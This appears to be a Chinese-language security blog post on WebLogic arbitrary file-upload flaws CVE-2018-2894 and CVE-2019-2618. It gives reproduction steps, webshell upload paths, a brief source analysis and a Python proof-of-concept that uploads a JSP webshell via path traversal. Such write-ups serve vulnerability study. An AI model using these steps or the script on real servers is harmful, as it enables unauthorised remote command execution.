0%

weblogic文件上传漏洞总结

WebLogic除了著名的T3反序列化漏洞、XMLDecoder反序列化漏洞以及XXE漏洞外,在其历史上也存在文件操作相关漏洞。

文件上传

与文件上传漏洞相关的CVE有:

  • CVE-2018-2894
  • CVE-2019-2618

其中后面出现的CVE-2019-2618利用起来相对严苛,因为它需要认证授权。

文件上传的几个目录:

1
2
3
/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3/cmprq0/war/

/ws_utc/config/keystore/timestamp_filename.jsp
1
2
3
4
5
/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/

/bea_wls_internal/shell.jsp

/bea_wls_internal/upload/RS_Upload_2020-06-16_12-20-21_667/import_file_name_cmd.jsp
1
2
3
/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war

/bea_wls_deployment_internal/cmd.jsp

CVE-2018-2894

漏洞描述

该漏洞产生的原因是WebLogic管理端未授权 的两个页面存在任意文件上传漏洞,分别是/ws_utc/begin.do/ws_utc/config.do。上传webshell,能够getshell,直接获取权限。

受影响的版本:

  • 12.1.3.0
  • 12.2.1.2
  • 12.2.1.3

在10.3.6.0版本上并未发现Web服务测试页(Web Test Page)。

复现

首先需要登录后台,在base_domain配置中选择高级,最后勾选启用Web服务测试页。本次复现的环境是12.1.3.0。

config.do页面上传漏洞

将当前的工作目录切换到/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3/cmprq0/war/

访问/ws_utc/config.do。点击左侧的”安全”菜单,添加体格Keystore,设置名字、密码。上传一个任意格式的文件。如下图所示:

然后抓包,查看响应中的timestamp的值,该值会作为后续的文件名中的一部分。

上传成功后,在浏览器中打开jsp文件。jsp文件在/ws_utc/config/keystore/timestamp_cmd.jsp

如此,成功getshell。

begin.do页面上传漏洞

讲工作目录切换到/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war

然后打开/ws_utc/begin.do页面。点击右上角的文件夹,上传shell文件。

抓包分析一下,定位到几个关键。

这里的name值import_file_name会变成最后的值。

那么上传之后的路径在哪儿呢?这就比config.do页面的上传路径更复杂些了。

上传shell之后,虽然响应是500。但文件已经上传成功。

然后在浏览器中打开,路径为/bea_wls_internal/upload/RS_Upload_2020-06-16_12-20-21_667/import_file_name_cmd.jsp。结果如下所示,也能getshell。

漏洞简要分析

上传目录更改

定位到TestClientWorkDirManager#changeWorkDir()方法。

当改变工作目录时,对传入的值未做任何的检测,导致可以更改任意上传目录。

begin.do文件上传

定位到RSDataHelper#convertFromMultiPart方法。

首先会判断是否存在upload目录,若不存在,则创建。并且将该目录下的所有文件清空。然后将当前的格式化后日期拼接在RS_Upload_后面作为upload目录下的目录名。

继续跟进进入convertFormDataMultiPart()方法。

在该函数里,它会从请求参数中,获得请求参数的key,将其作为文件名的前缀,即import_file_name拼接上传的文件名,作为最终的文件名。

config.do文件上传

定位到SettingResource#editKeyStoreSettingByMultiPart方法。

然后跟进convertFormDataMultiPart()方法,进入到了RSDataHelper#convertFormDataMultiPart()方法。这就到了和begin.do一样的地方了。只不过key的值不一样。即前缀不一样。

CVE-2019-2618

漏洞描述

该漏洞利用条件比较严苛,需要认证。漏洞存在于WebLogic组件中的DeploymentService接口。DeploymentService接口的正常功能就是部署war包。攻击者,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而获取服务器权限。

影响版本:

  • 10.3.6.0
  • 12.1.3.0
  • 12.2.1.3

在12.1.3.0中,”wls_upload_application_name”中的值不能包含../。因此会失败。

复现

向路径/bea_wls_deployment_internal/DeploymentService发送POST数据包。

利用python脚本来实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://127.0.0.1:7001/bea_wls_deployment_internal/DeploymentService"

header = {
"username":"weblogic",
"wl_request_type":"app_upload",
"cache-control":"no-cache",
"wl_upload_application_name":"../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war",
"serverName":"xxxxx",
"password":"xxxxx",
"wl_upload_delta":"true",
"server_version":"12.1.3.0"
}

files = {'file':open('cmd.jsp','rb')}
res = requests.post(url,files=files,headers=header)
print(res.text)

然后在路径/bea_wls_deployment_internal/cmd.jsp中访问shell。

参考